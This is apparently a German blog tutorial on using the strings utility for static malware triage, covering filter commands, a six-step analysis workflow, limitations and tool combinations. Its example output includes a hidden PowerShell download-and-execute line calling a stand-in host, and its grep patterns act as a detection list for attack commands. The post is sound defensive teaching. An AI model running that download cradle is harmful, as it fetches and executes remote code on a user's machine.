strings für Windows & Linux — kleines Werkzeug, große Wirkung

strings ist eines dieser kleinen Tools, die in der täglichen Malware-Analyse und Incident Response unglaublich oft zum Einsatz kommen. Es macht genau das, was der Name verspricht: es extrahiert lesbare Textsequenzen aus Binärdateien. Auf den ersten Blick wirkt das simpel — aber richtig angewendet liefert strings schnelle, teils entscheidende Hinweise darauf, ob eine Datei bösartige Absichten haben könnte.

Was ist strings und warum ist es nützlich?

strings durchsucht Binärdateien nach zusammenhängenden ASCII- (oder UTF-) Zeichenfolgen über einer konfigurierbaren Mindestlänge. Viele Malware-Autoren hinterlassen unverschlüsselte oder nur leicht verschleierte Strings (z. B. URLs, Kommandozeilen, Powershell-Snippets, Base64-Blöcke, API-Namen). Diese Fragmente sind oft die erste Spur, mit der Analyst:innen einen Verdacht weiterverfolgen können — ohne die Datei auszuführen.

Im Cybersecurity-Kontext ist strings ein schneller, ungefährlicher erster Test: es ist statisch, läuft lokal und verrät oft, ob sich weitere, tiefere Analysen lohnen.

strings unter Linux (oder macOS)

Auf den meisten Linux-Distributionen gehört strings zur GNU binutils. Verwendung ist einfach:

# alle Strings mit Mindestlänge 4 anzeigen
strings -n 4 verdächtig.exe

# Strings filtern nach relevanten Schlüsselwörtern
strings -n 4 verdächtig.exe | egrep -i 'powershell|cmd.exe|CreateProcess|Invoke-Expression|wget|curl|http|https|base64'

Praktische Varianten:

  • strings -a scannt die ganze Datei (default), -t x gibt Offsets in Hex aus.
  • hexdump -C ... | strings kombiniert kontextuelle Hex-Ansicht mit Textausgabe, nützlich um zu sehen, wie ein String eingebettet ist.

Beispiel-Output, der Alarm schlagen sollte:

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.example/payload')"
CreateProcessA
WinExec
Invoke-Expression
http://192.0.2.123/malware

strings-Alternativen für Windows

Windows-User greifen meist zu Microsofts Sysinternals strings.exe (empfohlen) oder installieren GNU-Tools via Cygwin/MinGW. Nutzung ist analog:

# mit Sysinternals strings.exe
.\strings.exe -n 4 C:\Pfad\zur\datei.exe | Select-String -Pattern "powershell|cmd.exe|CreateProcess|ShellExecute|Invoke-Expression"

PowerShell-Bordmittel können rudimentär Strings extrahieren, sind aber langsamer und unkomfortabler als strings.exe.

Typische Treffer und was sie bedeuten

strings liefert keine Beweise — aber starke Indikatoren. Wichtige Treffer sind z. B.:

  • Kommandozeilenfragmente: cmd.exe /c, powershell -EncodedCommand, start /b, schtasks
  • Netzwerkindikatoren: http://, https://, Domains, IPs, ftp://
  • API- oder Funk­tion­s­namen: CreateProcess, WinExec, ShellExecute, URLDownloadToFile, InternetOpenUrl
  • Encodierte Blöcke: lange Base64-Strings oder Hex-Sequenzen (kann ein verschlüsselter Payload sein)
  • Pfade/Dateinamen, Registry-Keys, Hardcoded Credentials (selten, aber kritisch)

Wenn solche Strings auftauchen, ist der nächste Schritt nicht „ausführen“, sondern Kontext sammeln: Importtabelle prüfen, Hash erstellen und an Threat-Intel-Quellen abgleichen (z. B. VirusTotal, MalwareBazaar), und ggf. in einer isolierten Sandbox dynamisch analysieren.

strings in einem typischen Analyse-Workflow

  1. Schnellscan: strings -n 4 sample.exe | egrep -i ... → erste Einschätzung (niedrig/hoch/keine Hinweise).
  2. Hash berechnen: SHA256 per sha256sum / PowerShell Get-FileHash → Suche in Threat-Feeds.
  3. Import-Tabelle prüfen: pefile / objdump / PEStudio → welche APIs sind importiert? (CreateProcess etc. sind kritisch)
  4. Statische Vertiefung: Decompiler/Disassembler (Ghidra, radare2) falls Strings + Imports verdächtig sind.
  5. Dynamische Analyse in Sandbox: Cuckoo/AnyRun/analystische VM mit Network Sinkhole, um tatsächlich ausgeführte Shell-Befehle zu beobachten.
  6. Dokumentation: Findings, IOCs (URLs, Hashes, auffällige Strings), Entscheidungen (isolieren, blockieren, melden).

Limitierungen — worauf strings nicht vertraut werden darf

  • Verschleierung/Packing/Encryption: Viele moderne Samples packen oder verschlüsseln Strings, sodass strings nichts Geeignetes findet. Packer erkennen -> weiteres Vorgehen.
  • False Positives: Bibliotheken oder legitime Komponenten können ähnliche Strings enthalten (z. B. curl in einem Installer). Kontext ist entscheidend.
  • Nur statisch: strings zeigt nur raw-text; es sagt nicht, ob und wie der Code einen String zur Laufzeit zusammensetzt oder dekodiert.
  • Kein Ersatz für Sandboxing oder Code-Review.

Praktische Hinweise & Best Practices

  • Mindestlänge anpassen: Für kurze Kommandos evtl. -n 3 verwenden, aber das erhöht Rauschen. -n 4 ist ein guter Startpunkt.
  • Regex-Liste pflegen: Erstelle eine eigene Pattern-Liste (powershell|cmd\.exe|-EncodedCommand|Invoke-Expression|Start-Process|schtasks) und filtere automatisch.
  • Automatisieren: Ein kleines Skript, das Strings extrahiert, gegen eine Indicator-Liste matched und ein Bewertungsergebnis (hoch/mittel/niedrig) ausgibt, spart Zeit bei vielen Proben.
  • OpSec & Legal: Lade keine fremden Samples ins öffentliche Netz, wenn sie personenbezogene Daten enthalten. Führe Malware nur in isolierten Umgebungen aus. Halte rechtliche Vorgaben ein.

Werkzeugkombinationen, die gut zusammenpassen

  • strings + pefile (Python) → schnelle statische Triage
  • strings + VirusTotal/abuse.ch → Kontext & Reputation
  • strings + Ghidra/Cutter → gezielte Decompilation an Fundstellen
  • strings + Procmon/Procmon-VM-Snapshot → kontrollierte Laufzeitanalyse

Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert